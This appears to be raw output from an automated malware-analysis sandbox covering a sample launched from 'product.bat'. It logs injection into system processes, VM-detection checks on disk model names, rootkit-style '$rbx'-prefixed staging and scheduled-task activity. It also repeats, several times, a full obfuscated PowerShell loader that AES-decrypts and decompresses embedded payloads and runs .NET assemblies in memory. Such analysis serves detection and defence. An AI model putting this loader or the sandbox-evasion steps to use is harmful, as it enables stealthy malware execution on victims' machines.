Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: B20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 630000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F50000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 6A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: D40000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: A60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: B70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2DA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2900000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 6D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2CF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 10C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 870000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2680000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 710000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 520000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 680000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1110000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1400000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A8C180000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 242BF650000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2578F260000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\cmd.exe base: 1B68BCF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1E591C90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 2134E400000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 1A6A2460000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1EB0CEB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 182A5970000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 182A59A0000

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get Model	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /i /c:"QEMU HARDDISK" /c:"WDS100T2B0A" /c:"DADY HARDDISK"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function vhVnA($zVdEq){ $TQYfY=[System.Security.Cryptography.Aes]::Create(); $TQYfY.Mode=[System.Security.Cryptography.CipherMode]::CBC; $TQYfY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $TQYfY.Key=[System.Convert]::FromBase64String('axHRlwLJv4pwkbOf9iAIJflO6gLEZt+6bKCh3RuytCA='); $TQYfY.IV=[System.Convert]::FromBase64String('TxAvkYK6lZIDMpmpV8o+4Q=='); $bqyNP=$TQYfY.CreateDecryptor(); $fZHAT=$bqyNP.TransformFinalBlock($zVdEq, 0, $zVdEq.Length); $bqyNP.Dispose(); $TQYfY.Dispose(); $fZHAT;}function FpYMp($zVdEq){ Invoke-Expression '$fEGds=New-Object System.IO.MemoryStream(,$zVdEq);'.Replace('', ''); Invoke-Expression '$xpQRA=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$mCrfz=New-Object System.IO.Compression.GZipStream($fEGds, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $mCrfz.CopyTo($xpQRA); $mCrfz.Dispose(); $fEGds.Dispose(); $xpQRA.Dispose(); $xpQRA.ToArray();}function zHrKT($zVdEq,$ulmvt){ Invoke-Expression '$kTVmP=[System.Reflection.Assembly]::Load([byte[]]$zVdEq);'.Replace('', ''); Invoke-Expression '$aPGUN=$kTVmP.EntryPoint;'.Replace('', ''); Invoke-Expression '$aPGUN.Invoke($null, $ulmvt);'.Replace('', '');}$SQOtV = 'C:\Users\user\Desktop\product.bat';$host.UI.RawUI.WindowTitle = $SQOtV;$KFKSq=[System.IO.File]::ReadAllText($SQOtV).Split([Environment]::NewLine);foreach ($vmudF in $KFKSq) { if ($vmudF.StartsWith('iecMs')) { $hJZkz=$vmudF.Substring(5); break; }}$bRzqF=[string[]]$hJZkz.Split('\');Invoke-Expression '$STi = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$JnT = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$UpD = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');zHrKT $STi $null;zHrKT $JnT $null;zHrKT $UpD (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{372c9116-8a11-4207-941c-c83db9f8d8a2}	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C type C:\Users\user\Desktop\product.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get Model	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /i /c:"QEMU HARDDISK" /c:"WDS100T2B0A" /c:"DADY HARDDISK"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function vhVnA($zVdEq){ $TQYfY=[System.Security.Cryptography.Aes]::Create(); $TQYfY.Mode=[System.Security.Cryptography.CipherMode]::CBC; $TQYfY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $TQYfY.Key=[System.Convert]::FromBase64String('axHRlwLJv4pwkbOf9iAIJflO6gLEZt+6bKCh3RuytCA='); $TQYfY.IV=[System.Convert]::FromBase64String('TxAvkYK6lZIDMpmpV8o+4Q=='); $bqyNP=$TQYfY.CreateDecryptor(); $fZHAT=$bqyNP.TransformFinalBlock($zVdEq, 0, $zVdEq.Length); $bqyNP.Dispose(); $TQYfY.Dispose(); $fZHAT;}function FpYMp($zVdEq){ Invoke-Expression '$fEGds=New-Object System.IO.MemoryStream(,$zVdEq);'.Replace('', ''); Invoke-Expression '$xpQRA=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$mCrfz=New-Object System.IO.Compression.GZipStream($fEGds, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $mCrfz.CopyTo($xpQRA); $mCrfz.Dispose(); $fEGds.Dispose(); $xpQRA.Dispose(); $xpQRA.ToArray();}function zHrKT($zVdEq,$ulmvt){ Invoke-Expression '$kTVmP=[System.Reflection.Assembly]::Load([byte[]]$zVdEq);'.Replace('', ''); Invoke-Expression '$aPGUN=$kTVmP.EntryPoint;'.Replace('', ''); Invoke-Expression '$aPGUN.Invoke($null, $ulmvt);'.Replace('', '');}$SQOtV = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $SQOtV;$KFKSq=[System.IO.File]::ReadAllText($SQOtV).Split([Environment]::NewLine);foreach ($vmudF in $KFKSq) { if ($vmudF.StartsWith('iecMs')) { $hJZkz=$vmudF.Substring(5); break; }}$bRzqF=[string[]]$hJZkz.Split('\');Invoke-Expression '$STi = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$JnT = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$UpD = FpYMp (vhVnA ([Convert]::FromBase64String($bRzqF[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');zHrKT $STi $null;zHrKT $JnT $null;zHrKT $UpD (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{29a28251-c10b-42e7-8393-a6c218333ff2}	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function vhvna($zvdeq){ $tqyfy=[system.security.cryptography.aes]::create(); $tqyfy.mode=[system.security.cryptography.ciphermode]::cbc; $tqyfy.padding=[system.security.cryptography.paddingmode]::pkcs7; $tqyfy.key=[system.convert]::frombase64string('axhrlwljv4pwkbof9iaijflo6glezt+6bkch3ruytca='); $tqyfy.iv=[system.convert]::frombase64string('txavkyk6lzidmpmpv8o+4q=='); $bqynp=$tqyfy.createdecryptor(); $fzhat=$bqynp.transformfinalblock($zvdeq, 0, $zvdeq.length); $bqynp.dispose(); $tqyfy.dispose(); $fzhat;}function fpymp($zvdeq){ invoke-expression '$fegds=new-object system.io.memorystream(,$zvdeq);'.replace('', ''); invoke-expression '$xpqra=new-object system.io.memorystream;'.replace('', ''); invoke-expression '$mcrfz=new-object system.io.compression.gzipstream($fegds, [io.compression.compressionmode]::decompress);'.replace('', ''); $mcrfz.copyto($xpqra); $mcrfz.dispose(); $fegds.dispose(); $xpqra.dispose(); $xpqra.toarray();}function zhrkt($zvdeq,$ulmvt){ invoke-expression '$ktvmp=[system.reflection.assembly]::load([byte[]]$zvdeq);'.replace('', ''); invoke-expression '$apgun=$ktvmp.entrypoint;'.replace('', ''); invoke-expression '$apgun.invoke($null, $ulmvt);'.replace('', '');}$sqotv = 'c:\users\user\desktop\product.bat';$host.ui.rawui.windowtitle = $sqotv;$kfksq=[system.io.file]::readalltext($sqotv).split([environment]::newline);foreach ($vmudf in $kfksq) { if ($vmudf.startswith('iecms')) { $hjzkz=$vmudf.substring(5); break; }}$brzqf=[string[]]$hjzkz.split('\');invoke-expression '$sti = fpymp (vhvna ([convert]::frombase64string($brzqf[0].replace("#", "/").replace("@", "a"))));'.replace('', '');invoke-expression '$jnt = fpymp (vhvna ([convert]::frombase64string($brzqf[1].replace("#", "/").replace("@", "a"))));'.replace('', '');invoke-expression '$upd = fpymp (vhvna ([convert]::frombase64string($brzqf[2].replace("#", "/").replace("@", "a"))));'.replace('', '');zhrkt $sti $null;zhrkt $jnt $null;zhrkt $upd (,[string[]] (''));
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function vhvna($zvdeq){ $tqyfy=[system.security.cryptography.aes]::create(); $tqyfy.mode=[system.security.cryptography.ciphermode]::cbc; $tqyfy.padding=[system.security.cryptography.paddingmode]::pkcs7; $tqyfy.key=[system.convert]::frombase64string('axhrlwljv4pwkbof9iaijflo6glezt+6bkch3ruytca='); $tqyfy.iv=[system.convert]::frombase64string('txavkyk6lzidmpmpv8o+4q=='); $bqynp=$tqyfy.createdecryptor(); $fzhat=$bqynp.transformfinalblock($zvdeq, 0, $zvdeq.length); $bqynp.dispose(); $tqyfy.dispose(); $fzhat;}function fpymp($zvdeq){ invoke-expression '$fegds=new-object system.io.memorystream(,$zvdeq);'.replace('', ''); invoke-expression '$xpqra=new-object system.io.memorystream;'.replace('', ''); invoke-expression '$mcrfz=new-object system.io.compression.gzipstream($fegds, [io.compression.compressionmode]::decompress);'.replace('', ''); $mcrfz.copyto($xpqra); $mcrfz.dispose(); $fegds.dispose(); $xpqra.dispose(); $xpqra.toarray();}function zhrkt($zvdeq,$ulmvt){ invoke-expression '$ktvmp=[system.reflection.assembly]::load([byte[]]$zvdeq);'.replace('', ''); invoke-expression '$apgun=$ktvmp.entrypoint;'.replace('', ''); invoke-expression '$apgun.invoke($null, $ulmvt);'.replace('', '');}$sqotv = 'c:\windows\$rbx-onimai2\$rbx-co2.bat';$host.ui.rawui.windowtitle = $sqotv;$kfksq=[system.io.file]::readalltext($sqotv).split([environment]::newline);foreach ($vmudf in $kfksq) { if ($vmudf.startswith('iecms')) { $hjzkz=$vmudf.substring(5); break; }}$brzqf=[string[]]$hjzkz.split('\');invoke-expression '$sti = fpymp (vhvna ([convert]::frombase64string($brzqf[0].replace("#", "/").replace("@", "a"))));'.replace('', '');invoke-expression '$jnt = fpymp (vhvna ([convert]::frombase64string($brzqf[1].replace("#", "/").replace("@", "a"))));'.replace('', '');invoke-expression '$upd = fpymp (vhvna ([convert]::frombase64string($brzqf[2].replace("#", "/").replace("@", "a"))));'.replace('', '');zhrkt $sti $null;zhrkt $jnt $null;zhrkt $upd (,[string[]] (''));
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function vhvna($zvdeq){ $tqyfy=[system.security.cryptography.aes]::create(); $tqyfy.mode=[system.security.cryptography.ciphermode]::cbc; $tqyfy.padding=[system.security.cryptography.paddingmode]::pkcs7; $tqyfy.key=[system.convert]::frombase64string('axhrlwljv4pwkbof9iaijflo6glezt+6bkch3ruytca='); $tqyfy.iv=[system.convert]::frombase64string('txavkyk6lzidmpmpv8o+4q=='); $bqynp=$tqyfy.createdecryptor(); $fzhat=$bqynp.transformfinalblock($zvdeq, 0, $zvdeq.length); $bqynp.dispose(); $tqyfy.dispose(); $fzhat;}function fpymp($zvdeq){ invoke-expression '$fegds=new-object system.io.memorystream(,$zvdeq);'.replace('', ''); invoke-expression '$xpqra=new-object system.io.memorystream;'.replace('', ''); invoke-expression '$mcrfz=new-object system.io.compression.gzipstream($fegds, [io.compression.compressionmode]::decompress);'.replace('', ''); $mcrfz.copyto($xpqra); $mcrfz.dispose(); $fegds.dispose(); $xpqra.dispose(); $xpqra.toarray();}function zhrkt($zvdeq,$ulmvt){ invoke-expression '$ktvmp=[system.reflection.assembly]::load([byte[]]$zvdeq);'.replace('', ''); invoke-expression '$apgun=$ktvmp.entrypoint;'.replace('', ''); invoke-expression '$apgun.invoke($null, $ulmvt);'.replace('', '');}$sqotv = 'c:\users\user\desktop\product.bat';$host.ui.rawui.windowtitle = $sqotv;$kfksq=[system.io.file]::readalltext($sqotv).split([environment]::newline);foreach ($vmudf in $kfksq) { if ($vmudf.startswith('iecms')) { $hjzkz=$vmudf.substring(5); break; }}$brzqf=[string[]]$hjzkz.split('\');invoke-expression '$sti = fpymp (vhvna ([convert]::frombase64string($brzqf[0].replace("#", "/").replace("@", "a"))));'.replace('', '');invoke-expression '$jnt = fpymp (vhvna ([convert]::frombase64string($brzqf[1].replace("#", "/").replace("@", "a"))));'.replace('', '');invoke-expression '$upd = fpymp (vhvna ([convert]::frombase64string($brzqf[2].replace("#", "/").replace("@", "a"))));'.replace('', '');zhrkt $sti $null;zhrkt $jnt $null;zhrkt $upd (,[string[]] (''));	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c echo function vhvna($zvdeq){ $tqyfy=[system.security.cryptography.aes]::create(); $tqyfy.mode=[system.security.cryptography.ciphermode]::cbc; $tqyfy.padding=[system.security.cryptography.paddingmode]::pkcs7; $tqyfy.key=[system.convert]::frombase64string('axhrlwljv4pwkbof9iaijflo6glezt+6bkch3ruytca='); $tqyfy.iv=[system.convert]::frombase64string('txavkyk6lzidmpmpv8o+4q=='); $bqynp=$tqyfy.createdecryptor(); $fzhat=$bqynp.transformfinalblock($zvdeq, 0, $zvdeq.length); $bqynp.dispose(); $tqyfy.dispose(); $fzhat;}function fpymp($zvdeq){ invoke-expression '$fegds=new-object system.io.memorystream(,$zvdeq);'.replace('', ''); invoke-expression '$xpqra=new-object system.io.memorystream;'.replace('', ''); invoke-expression '$mcrfz=new-object system.io.compression.gzipstream($fegds, [io.compression.compressionmode]::decompress);'.replace('', ''); $mcrfz.copyto($xpqra); $mcrfz.dispose(); $fegds.dispose(); $xpqra.dispose(); $xpqra.toarray();}function zhrkt($zvdeq,$ulmvt){ invoke-expression '$ktvmp=[system.reflection.assembly]::load([byte[]]$zvdeq);'.replace('', ''); invoke-expression '$apgun=$ktvmp.entrypoint;'.replace('', ''); invoke-expression '$apgun.invoke($null, $ulmvt);'.replace('', '');}$sqotv = 'c:\windows\$rbx-onimai2\$rbx-co2.bat';$host.ui.rawui.windowtitle = $sqotv;$kfksq=[system.io.file]::readalltext($sqotv).split([environment]::newline);foreach ($vmudf in $kfksq) { if ($vmudf.startswith('iecms')) { $hjzkz=$vmudf.substring(5); break; }}$brzqf=[string[]]$hjzkz.split('\');invoke-expression '$sti = fpymp (vhvna ([convert]::frombase64string($brzqf[0].replace("#", "/").replace("@", "a"))));'.replace('', '');invoke-expression '$jnt = fpymp (vhvna ([convert]::frombase64string($brzqf[1].replace("#", "/").replace("@", "a"))));'.replace('', '');invoke-expression '$upd = fpymp (vhvna ([convert]::frombase64string($brzqf[2].replace("#", "/").replace("@", "a"))));'.replace('', '');zhrkt $sti $null;zhrkt $jnt $null;zhrkt $upd (,[string[]] (''));	Jump to behavior

Source: C:\Windows\System32\dllhost.exe

Code function: 14_2_0000000140002300 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

14_2_0000000140002300

Source: C:\Windows\System32\dllhost.exe

Code function: 14_2_0000000140002300 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

14_2_0000000140002300

Source: dwm.exe, 00000012.00000000.1420829441.00000262EB2B8000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 00000012.00000002.3404041850.00000262EB2B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerd
Source: winlogon.exe, 0000000F.00000000.1415619225.000001CA7D6F0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000000F.00000002.3375598042.000001CA7D6F1000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000012.00000000.1422698641.00000262EB6C0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 0000000F.00000000.1415619225.000001CA7D6F0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000000F.00000002.3375598042.000001CA7D6F1000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000012.00000000.1422698641.00000262EB6C0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: winlogon.exe, 0000000F.00000000.1415619225.000001CA7D6F0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000000F.00000002.3375598042.000001CA7D6F1000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000012.00000000.1422698641.00000262EB6C0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: ?Program Manager
Source: winlogon.exe, 0000000F.00000000.1415619225.000001CA7D6F0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000000F.00000002.3375598042.000001CA7D6F1000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000012.00000000.1422698641.00000262EB6C0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\winlogon.exe

Code function: 15_3_000001CA7D1C2AF0 cpuid

15_3_000001CA7D1C2AF0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\$nya-mW41WeM4 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\$nya-mW41WeM4 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
